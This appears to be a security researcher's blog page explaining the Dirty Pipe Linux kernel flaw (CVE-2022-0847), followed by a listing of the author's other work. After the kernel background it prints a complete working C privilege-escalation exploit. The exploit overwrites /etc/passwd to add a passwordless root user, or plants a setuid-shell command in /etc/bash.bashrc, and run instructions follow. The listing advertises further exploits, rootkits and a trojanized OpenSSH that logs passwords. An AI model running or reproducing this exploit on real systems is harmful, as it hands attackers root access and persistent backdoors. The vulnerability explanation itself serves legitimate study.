by: Antonius (w1sdom)
https://www.bluedragonsec.com
https://github.com/bluedragonsecurity
Dirty Pipe (CVE-2022–0847) is one of the most significant security vulnerabilities in Linux Kernel 5.8–5.15.24, discovered by Max Kellermann in 2022. This vulnerability allows ordinary users (without special privileges) to overwrite data in files that should be read-only.
Before discussing Dirty Pipe in detail, here are some Linux kernel internal concepts that need to be understood:
Paging is a memory management mechanism in the Linux kernel where the memory system divides physical memory into fixed-size small blocks called page frames, and virtual memory is divided into blocks of the same size called pages.
This mechanism allows the kernel to map virtual address space of processes to physical memory in a non-sequential manner, which is crucial for efficiency and security in modern systems.
In Linux, a page is the smallest unit of physical memory management handled by the kernel.
Analogy: RAM is like a giant book. A page is one sheet of paper in that book. The kernel doesn’t move data bit by bit, but rather sheet by sheet (page by page).
Generally, on modern system architectures (such as x86_64), the standard size of one page is 4 KB (4096 bytes).
This is a crucial part. Linux doesn’t read files directly from disk every time because it’s slow. The kernel copies file contents into RAM called the Page Cache.
Page cache resides in kernel space.
Pipe is an Inter-Process Communication (IPC) mechanism. Internally, the kernel manages pipes using the pipe_inode_info data structure. Data inside a pipe is stored in a “buffer” called Pipe Buffer.
Pipe buffer resides in kernel space.
The PIPE_BUF_FLAG_CAN_MERGE flag was introduced in Linux Kernel version 5.8.
This is where the main vulnerability lies. The flag named PIPE_BUF_FLAG_CAN_MERGE.
splice() is a syscall for moving data between two file descriptors without copying the data between kernel space and user space. This is often referred to as a Zero-copy mechanism.
The splice() syscall is the “main actor” in Dirty Pipe:
The Copy-on-Write (CoW) mechanism is a memory management optimization strategy used by the Linux kernel to delay data copying until absolutely necessary.
The relationship between Copy-on-Write (CoW) and the Dirty Pipe exploit (CVE-2022–0847) is about how a small bug in the Linux kernel successfully “tricks” the CoW mechanism, allowing data to be written to files that should be read-only.
A dirty page is a memory page in RAM that has been modified by an application, but the changes have not yet been written back to secondary storage (such as SSD or hard disk).
Dirty Pipe is a type of logic bug in pipe buffer handling in Linux kernel 5.8 through Linux kernel 5.15.24.
The main problem lies in the Pipe mechanism (inter-process communication channel) and how the kernel manages the Page Cache (memory that stores copies of file data from disk).
The core issue is a bug in the PIPE_BUF_FLAG_CAN_MERGE flag.
The main problem lies in the kernel’s failure to properly re-initialize this flag (logic bug). Here is the code analysis:
In the copy_page_to_iter_pipe and push_to_pipe functions in the Linux kernel before version 5.16.11, when performing splice operations, the kernel prepares the pipe_buffer structure but forgets to clean the .flags member.
Vulnerable Code Structure:
Location of problem: fs/pipe.c or include/linux/pipe_fs_i.h
// Location of problem: fs/pipe.c or include/linux/pipe_fs_i.h
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags; // <--- THIS FLAG IS NOT RESET
unsigned long private;
};
Code Before Patch (Vulnerable):
// lib/iov_iter.c - Before CVE-2022-0847 patch
static size_t copy_page_to_iter_pipe(struct page *page,
size_t offset, size_t bytes, struct iov_iter *i) {
// ---------snip-----------
struct pipe_buffer *buf = &pipe->bufs[head & mask]; buf->ops = &page_cache_pipe_buf_ops;
buf->page = page;
buf->offset = offset;
buf->len = bytes;
// PROBLEM: buf->flags NOT TOUCHED AT ALL
// --------snip----------------------
}
Code After Patch (Fixed):
buf->ops = &page_cache_pipe_buf_ops;
buf->page = page;
buf->offset = offset;
buf->len = bytes;
buf->flags = 0; // <--- TOTAL RESET TO ZERO
Why is buf->flags = 0 better than just turning off a specific flag? Because pipe_buffer is a reused structure. If we only turn off one flag (CAN_MERGE), other garbage flags from previous pipe usage (such as PIPE_BUF_FLAG_GIFT or other custom flags) might still remain and cause strange behavior or new security holes in the future. Setting it to 0 ensures the buffer is in a completely “clean” state.
Here is the Dirty Pipe exploitation flow:
At this stage, the attacker’s data is already stored in RAM. A page in RAM whose contents differ from what’s on disk is called a “Dirty Page”.
If this stage is successfully reached, it means the exploitation has succeeded! Once the Page Cache changes, the effect is instant. If we overwrite /etc/passwd in RAM, we can immediately run su root at that very moment.
For Dirty Pipe exploitation, we don’t need to disable any kernel protections because all kernel protections are irrelevant to prevent this logic bug.
To exploit the Dirty Page logic bug, our exploit will perform the following steps:
Step 1. Prepare the pipe and fill the pipe until full with the goal of triggering the PIPE_BUF_FLAG_CAN_MERGE flag.
pipe(p);
int capacity = fcntl(p[1], 1032);
static char dummy[4096];
for (int r = capacity; r > 0; ) {
int n = r > sizeof(dummy) ? sizeof(dummy) : r;
write(p[1], dummy, n);
r -= n;
}
Step 2. Empty the pipe.
for (int r = capacity; r > 0; ) {
int n = r > sizeof(dummy) ? sizeof(dummy) : r;
read(p[0], dummy, n);
r -= n;
}
Step 3. Use splice() to insert data from the target file into the pipe.
if (splice(fd, &offset, p[1], NULL, 1, 0) < 0) {
perror("[-] splice failed");
return 0;
}
Step 4. Write the payload data to the pipe.
write(p[1], payload, strlen(payload));
Complete Exploit Code for Dirty Pipe Exploitation
/*
Exploit Title: Linux Kernel 5.8 < 5.15.25 - Local Privilege Escalation (DirtyPipe 2)
Exploit Author: Antonius (w1sdom)
github : https://github.com/bluedragonsecurity
web : https://www.bluedragonsec.com
tested on :
- linux kernel 5.13.0-21-generic (compiled on lubuntu 20.04.5)
- linux lubuntu 20.04.2 - linux kernel 5.8
Original Author: Max Kellermann ([email protected])
CVE: CVE-2022-0847
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/utsname.h>
#include <ctype.h>
int validate_kernv() {
struct utsname buffer;
int major, minor, patch;
int is_vulnerable = 0;
char *version_str;
int len, compile_year;
if (uname(&buffer) != 0) {
perror("uname");
return 1;
}
version_str = buffer.version;
len = strlen(version_str);
compile_year = 0;
for (int i = len - 4; i >= 0; i--) {
if (isdigit(version_str[i]) && isdigit(version_str[i+1]) &&
isdigit(version_str[i+2]) && isdigit(version_str[i+3])) {
compile_year = atoi(&version_str[i]);
break;
}
}
if (compile_year < 2023) {
is_vulnerable = 1;
}
int fields = sscanf(buffer.release, "%d.%d.%d", &major, &minor, &patch);
if (fields < 3) patch = 0;
if (major == 5) {
if (minor >= 8 && minor <= 14) {
is_vulnerable = 1;
}
else if (minor == 15 && patch < 25) {
is_vulnerable = 1;
}
}
else {
printf("[-] kernel is not vulnerable !!! quitting ...");
exit(-1);
}
if (is_vulnerable) {
printf("[*] kernel is vulnerable\n");
}
else {
printf("[-] kernel is not vulnerable !!! quitting ...");
exit(-1);
}
return 0;
}
void prepare_pipe(int p[2]) {
pipe(p);
int capacity = fcntl(p[1], 1032);
static char dummy[4096];
for (int r = capacity; r > 0; ) {
int n = r > sizeof(dummy) ? sizeof(dummy) : r;
write(p[1], dummy, n);
r -= n;
}
for (int r = capacity; r > 0; ) {
int n = r > sizeof(dummy) ? sizeof(dummy) : r;
read(p[0], dummy, n);
r -= n;
}
}
int inject_payload(char *target, char *payload) {
int fd = open(target, O_RDONLY);
int p[2];
__off64_t offset = 1;
prepare_pipe(p);
fd = open(target, O_RDONLY);
if (fd < 0) return 1;
if (splice(fd, &offset, p[1], NULL, 1, 0) < 0) {
perror("[-] splice failed");
return 0;
}
printf("[*] injecting payload to %s\n", target);
write(p[1], payload, strlen(payload));
return 1;
}
void bashrc() {
char *target = "/etc/bash.bashrc";
char *payload = "\ncp /bin/bash /tmp/x; chmod +s /tmp/x\n#";
if (inject_payload(target, payload) == 0) {
printf("[-] failed to inject payload !");
}
else {
printf("[*] payload injected to %s\n", target);
printf("[*] you need to wait for root to login\n");
printf("[*] once the root logged in you will get suid shell on /tmp/x\n");
printf("[*] get root by : /tmp/x -p\n");
}
}
int toor_check() {
FILE *fp;
char path[1035];
fp = popen("su toor -c id", "r");
if (fp == NULL) {
return 0;
}
if (fgets(path, sizeof(path), fp) != NULL) {
if (strstr(path, "root")) {
return 1;
}
}
pclose(fp);
return 0;
}
int passwd() {
char *target = "/etc/passwd";
char *payload = "\ntoor::0:0:root:/root:/bin/bash\n#";
system("cp /etc/passwd /tmp/passwd.bak");
if (inject_payload(target, payload) == 0) {
printf("[-] failed to inject payload !");
}
if (toor_check() == 1) {
printf("[+] exploitation success, getting root for you.\n");
system("su toor");
}
else {
printf("[-] failed on method 1, testing method 2\n");
return 0;
}
return 1;
}
int main() {
validate_kernv();
if (passwd() == 0) {
bashrc();
}
return 0;
}
Note: The complete exploit code contains functions for kernel version validation, pipe preparation, payload injection, and two different exploitation methods targeting /etc/passwd and /etc/bash.bashrc.
The exploit above uses 2 different payloads with the goal that if the first payload fails, it will be chained by the second payload.
Payload 1: Writes to /etc/passwd to add a new user named ‘toor’ with uid 0. If this payload succeeds, we can immediately get root shell.
Payload 2: Aims to drop a SUID bash shell at /tmp/x. Specifically for the second payload, it must wait for the root user on the system to login because the payload to drop the SUID shell is injected into /etc/bash.bashrc. In Linux, commands contained in /etc/bash.bashrc are executed by every user who logs into the system at login time.
#
In this example, I used Linux kernel 5.13 running on Lubuntu 20.04.5 in VirtualBox as a guest OS and the host OS is Kali Linux 2025.4.
On the Lubuntu 20.04.5 machine, compile the exploit:
gcc -o dirtypipe2 dirtypipe2.c
Run the exploit:
./dirtypipe2
Press enter or click to view image in full size

Original disclosure: https://dirtypipe.cm4all.com/
CVE-2022–0847: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0847
Linux Kernel patch: commit 9d2231c5d74e13b2a0546fee6737ee4446017903
Exploit code: https://github.com/bluedragonsecurity

RoboMall was developed by Antonius (w1sdom) in 2023, The robot was designed to be operated in a mall. The purpose is that mall visitors doesn't need to visit mall directly, instead, they can use this robot to stroll in a mall and if they deposit in RoboMall wallet system they can buy things on mall, then the goods will be delivered by couriers.
Robotsoft LightBox is a solar powered outdoor lighting. Features : water proof, controlled by voice & android application. This product was created by Antonius (w1sdom). This product was created for his startup Robotsoft in 2020.
Robotsoft FloorLight is a solar powered outdoor lighting. Features : water proof, controlled by voice & android application. This product was created by Antonius (w1sdom). This product was created for his startup Robotsoft in 2020.
Robotsoft Torch is a solar powered outdoor lighting. Features : water proof, controlled by voice & android application. This product was created by Antonius (w1sdom). This product was created for his startup Robotsoft in 2020.
Solar Powered Electrical Generator. This generator created by Antonius (w1sdom). This product created for his startup Robotsoft in 2020.
This is an exploit for CVE-2026-46215 (Linux Kernel Use After Free) Adapted for Linux 7.0 !!! This exploit is more stable and reliable than the first exploit I released.
This is an exploit for CVE-2026-46215 (Linux Kernel Use After Free) Adapted for Linux 7.0 !!! WARNING !!! this exploit is not stable ! sometimes, this exploit might cause kernel panic !
2026 Buptlab Dns Relay Server Remote Dos - for Linux. Lame remote denial of service exploit for buptlab dns relay server. Bug was discovered by Antonius (w1sdom) in 2026.
Lame remote denial of service exploit for litedns dns server - Bug Discovered by Antonius (w1sdom) in 2026.
rldns-1.0 - rldns-1.3 remote denial of service exploit. (rldns is an open source dns server that I developed).
CVE-2022-0847 - Linux Kernel 5.8 < 5.15.25 Local Privilege Escalation Exploit (DirtyPipe 2). github : https://github.com/bluedragonsecurity web : https://www.bluedragonsec.com
Private Bug !!! Savant Web Server 3.1 Post Method Buffer Overflow Denial of Service via HTTP Post. Vulnerability in HTTP Post discovered by Antonius. web : bluedragonsec.com - github.com/bluedragonsecurity
Minalic Web Server 2.0.0 Remote Stack Overflow Exploit Via HTTP Post Method - for Windows 32 bit - Python Version. This is the only version in internet that used post method in 2013. Since post method and get method used different code path, you can tell that I found the vulnerability for post method. Exploit target : Windows Server 2003 Service Pack 2, English
MinaliC Webserver Post Method Remote Buffer Overflow Exploit. Affected : MinaliC Webserver 2.0.0. Vulnerability in post method was invented by Antonius in 2013. Original code developed by Antonius in Apr 2013. Code patched in 2026. web : bluedragonsec.com - https://github.com/bluedragonsecurity
Private Exploit !!! EasyFTP Server 1.7.0.2 - 17.0.11 Remote Buffer Overflow. Original code using python 2.6 developed in 2013. Code patched in 2026 -> adjustment for python3. Exploit developed by Antonius (w1sdom) - bluedragonsec.com - https://github.com/bluedragonsecurity
Private Exploit !!! EasyFTP Server 1.7.0.2 - 17.0.11 Remote Buffer Overflow. Original code using python 2.6 developed in 2013 ported to C (Linux), patched in 2026. Exploit developed by Antonius (w1sdom) - bluedragonsec.com - https://github.com/bluedragonsecurity
Private Exploit !!! CVE-2012-10023 FreeFloat FTP Server 1.0 Remote Stack Overflow Exploit. Code : Antonius (w1sdom) - bluedragonsec.com. Original code developed in 2013 - exploit patched in 2026 https://github.com/bluedragonsecurity
Stack-based buffer overflow in MinaliC Webserver 2.0.0 allows remote attackers to execute arbitrary code via a crafted HTTP POST request. The overflow occurs in the URI parsing routine when processing the POST method, which follows a separate code path from GET. Existing CVEs for MinaliC do not cover this vulnerability. Discovered by Antonius in 2013.
Affected : MinaliC Webserver 2.0.0Buffer overflow in Savant Web Server 3.1 allows remote unauthenticated attackers to crash the server (denial of service) via a crafted HTTP POST request with an oversized URI and body. Existing CVEs for Savant cover the GET-method overflow only. This vulnerability uses the POST method which hits a different code path. Discovered by Antonius in 2013.
Affected : Savant Web Server 3.1curr_end becomes stale after VMA merge in mseal_apply(), leading to incorrect sealing state. Affects Linux kernels 6.17–7.0-rc5. Fix authored by Lorenzo Stoakes (Oracle). Vulnerability discovered by Antonius
Affected : Linux 6.17 – 7.0-rc5Heap OOB read vulnerability in rldns 1.3 DNS server. Fixed in rldns 1.4 with comprehensive fuzzing via honggfuzz and improved input validation. Vulnerability discovered by Antonius.
Affected : rldns 1.3Type Confusion / Cross-Cache Free (Slab Cache Confusion) in the Linux Kernel (versions ≥ 6.3 and < 6.12.82). This vulnerability involves a pointer allocated within Cache A but subsequently freed into Cache B. Discovered by Antonius.
Affected : Linux net/bpf · fix: 0f42e3f4fe2aOut-of-bounds Read leading to Denial of Service (DoS). Vulnerability discovered by Antonius.
Affected :Remote Heap-Based Buffer Underflow, 1-byte Heap Underwrite / Out-of-Bounds Write, Network-triggerable via crafted UDP DNS packet. Vulnerability discovered by Antonius.
Affected :Part 5 of x86_64 linux remote stack overflow exploitation series from bluedragonsec.com
Part 4 of x86_64 linux remote stack overflow exploitation series from bluedragonsec.com
Part 3 of x86_64 linux remote stack overflow exploitation series from bluedragonsec.com
Part 2 of x86_64 remote stack overflow exploitation for x86_64 linux, covering ret2plt. The writing is still on a non la57 linux system.
This guide is about basic of remote stack overflow exploitation on x86_64 linux. This one is the first guide from a series.
A story about a lamer who started learning in 1996 and is still a lamer in 2026.
This is a very old write-up about CVE-2005-0575 Remote Exploitation, this is very old and might not be relevant anymore ! you have been warned ! I forgot when I made it. This is translated from Indonesian language (as always).
I released 8 pdf(s) Tutorial for Beginner Hacker. I wrote this in January 2026. I translate this materials from Indonesian Language.
Physical Attacks on LAN Networks is part of security training materials that I gave to Indonesian Police. This writing is a translation of some parts of my training materials about physical attacks (I haven't had time to release some details on "how to make the hacking devices", it's planned to be released in the future - the electronic parts & the codes).
Unconventional bio hacking technique to defeat convnet face recognition algorithm ! The Art of Creativity !
Novel UAF exploitation technique targeting the new SLUB sheaves architecture introduced in Linux 7, leveraging union state confusion in slab_sheaf objects for kernel privilege escalation. This is "The Art of Hijacking the Allocator State"
Step-by-step walkthrough of constructing a kernel ROP chain to bypass SMEP & SMAP on Linux Kernel 6.17.
I am Antonius (w1sdom), a security researcher based in Indonesia (but Chinese). I am a polymath type security researcher with strong knowledge in "hardware hacking (robotics)" and "low level exploitation".
I Learnt electronics in 1996 and then learnt to write 16 bit asm virus in 1998-2001.
I combine multiple disciplines in robotics, electronics, low level exploitation, hardware hacking & artificial intelligence to create innovative technologies, novel hacking techniques and low level exploitation techniques.
w1sdom, sw0rdm4n, ev1lut10n, d4r3d3v1l, jck.marshall (one time usage), ringlayer, robotsoft, mranton, 黑蝎子, Prof. Robotsoft, Mr. Robot, etc...
Zodiac : Scorpio.
Born : 198x
INTJ - Polymath
Developed in 2014, this legendary Linux Kernel Rootkit was engineered to target Linux kernel versions 2.6.x through 3.x. Developed by Antonius (w1sdom / sw0rdm4n / ev1lut10n) --> https://packetstorm.news/files/id/128945
Trojanized version of openssh-8.0p1 where the ssh client will log the ssh username and ssh password into /opt/.../log.txt. Build 2024 - by Antonius (sw0rdm4n)
Lightweight DNS server · Linux / NetBSD / FreeBSD / OpenBSD · x86 / x86_64. Developed by Antonius (w1sdom / sw0rdm4n / ev1lut10n) - version 1.0 was released in 2017 --> https://packetstorm.news/files/id/141606
Ftrace-based LKM rootkit · Linux Kernel 5.x–6.2 · x86_64 - developed in 2023 by Antonius (w1sdom / sw0rdm4n / ev1lut10n) --> https://packetstorm.news/files/id/174805
FreeBSD 13 KLD rootkit · file / process / port hiding · bind shell - developed in 2023 by Antonius (w1sdom / sw0rdm4n / ev1lut10n) --> https://packetstorm.news/files/id/174806
LKM rootkit · Linux Kernel 5.x–6.2 · persistent - developed in 2023 by Antonius (w1sdom / sw0rdm4n / ev1lut10n) --> https://packetstorm.news/files/id/174789
Linux userland rootkit · file / process / port hiding by Antonius (w1sdom / sw0rdm4n / ev1lut10n) --> https://packetstorm.news/files/id/174790
Modified Cowrie for SSH man-in-the-middle attacks by Antonius (w1sdom / sw0rdm4n / ev1lut10n)
The first hacker robot that I created. This robot was developed in 2014. Some demo videos were posted in Youtube around 2016. This robot can explains about low level exploitation techniques. Robot skills : can hack wifi (wpa cracking using aircrack), evil twin, wifi deauth, arp cache poisoning. My old video channel --> https://www.youtube.com/@antoniusringlayer/videos
I planned to develop a spy robot, but this robot was too big. The chassis was created using metals. Developed in 2017, posted in youtube around 2019. Developed by Antonius (w1sdom)

Airhax is a wireless network auditor gadget. This device was created in 2015. This gadget functions : wifi cracking, evil twin, wifi deauth, arp poisoning. Developed by Antonius (w1sdom / sw0rdm4n / ev1lut10n / robotsoft)
I built this robot in 2014. It is a shy robot that is afraid of humans. I used 3 ultrasonic sensors.
A large-scale prototype robot powered by a mini PC and an Arduino, built as a personal project rather than a commercial product. At first, I planned to equip it with high-torque servos and an airsoft gun, but I realized that could be dangerous, so I scrapped the idea. Real hacking should be harmless. Build 2017 - by Prof. Antonius Robotsoft

Various Robots (finished and unfinished) - build by Antonius Robotsoft (w1sdom).
The home of the website
Electronic gadgets, robots, hacking devices, IOT, electrical generators from Robohax, Robotsoft and Bluedragonsec.
Prototypes for DIY gadgets, robots and quadcopters related to security that I developed.
My Low level exploits developed from 2001-2026
Videos about low level exploit developments, hardware hacking & prototypes.
Security vulnerabilities that I have discovered
Papers related to hardware hacking and low level exploitation.
Mostly about hardware hacking and low level exploitation.
About my website
Hacking tools, rootkits and open source projects that I developed